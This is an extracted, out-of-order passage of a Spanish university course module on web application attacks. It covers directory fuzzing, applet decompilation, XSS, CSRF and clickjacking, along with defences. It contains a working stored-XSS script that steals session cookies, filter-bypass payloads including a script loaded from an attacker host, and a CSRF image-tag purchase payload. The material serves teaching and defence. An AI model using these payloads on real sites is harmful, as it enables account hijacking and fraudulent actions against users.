el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 14: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web

po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos

muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El

resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten

Figura 3 XSS antes de ser enviado

En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-

gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido

y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto

ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja

de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del

resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada

obtendremos una ventana de alerta con el mensaje especificado

Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el

coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve

el servidor

lta href=indexphpaction=deletegtltimg src=trashpng gtBorr

lta href=indexphpaction=logoutgtltimg src=system-log-outpn

ltdiv class=contenidogt

ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt

ltscriptgtltpgtltdivgt

ltdivgt

ltbodygt

Como se puede observar todos y cada uno de los caracteres que hemos intro-

ducido han quedado almacenados en la base de datos y se han copiado en el

coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro

Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se

estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-

do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-

mente o que borre todos sus mensajes La lista de posibilidades de acciones

maliciosas seriacutea interminable

CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web

En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de

mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript

and XML) pasando a enviar mensajes de manera automaacutetica utilizando para

ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que

reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada

conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios

administrativos lograremos control total sobre la aplicacioacuten

Generalmente seraacute necesaria una buena base de Javascript para explotar de

manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos

deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-

cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-

tivo del mismo

ltscriptgt

d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest()

else

x=new ActiveXObject(MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario

De manera totalmente transparente para el usuario afectado este nos la en-

viaraacute mediante un mensaje Procedamos al anaacutelisis

bull Inicialmente se declara una variable d Esta variable contiene los valores

de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-

cacioacuten cuando mandamos un mensaje Detalle importante a observar es el

contenido de la variable ampmensaje documentcookie un objeto del DOM2

de la paacutegina que contiene todas las cookies asociadas al dominio actual

bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten

de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-

plorer como Firefox o similares Este objeto es el usado para realizar las

peticiones AJAX

bull Con open() establecemos las condiciones que se van a utilizar para enviar el

formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene

(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody

CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web

analizando de nuevo el formulario de enviacuteo Mediante true se indica que

la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se

quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje

bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()

se usan para establecer cabeceras HTTP que hagan que el servidor web

entienda que lo que estamos enviando es un formulario aunque el usuario

no lo haya rellenado

bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d

que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador

realiza las acciones definidas anteriormente y si todo ha salido bien el

usuario afectado nos enviaraacute su cookie de sesioacuten

Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar

un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con

nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido

Figura 4 XSS antes de ser enviado

Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en

el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir

un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo

tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-

ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-

go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute

completamente desapercibido para el usuario admin cuando este inicia sesioacuten

con su navegador y automaacuteticamente se le presenta su bandeja de entrada

El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada

seriacutea

ltdiv class=contenidogt

ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt

d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest ()

CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web

else

x=new ActiveXObject (MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

iexclQue pagina mas chulaltpgtltdivgt

ltdivgt

ltbodygt

Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-

maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de

sesioacuten

Figura 5 Mensaje recibido por el usuario eviluser

Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-

ficar el valor de su cookie con el valor recibido De este modo cuando su nave-

gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al

usuario admin

Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-

car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del

administrador de un sitio web hemos logrado acceder a su cuenta

114 Filtros XSS

En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript

directamente como se ha realizado en el ejemplo anterior Habitualmente los

programadores habraacuten establecido una serie de reglas para intentar evitar los

fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-

ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos

permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-

nales que se presenten

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

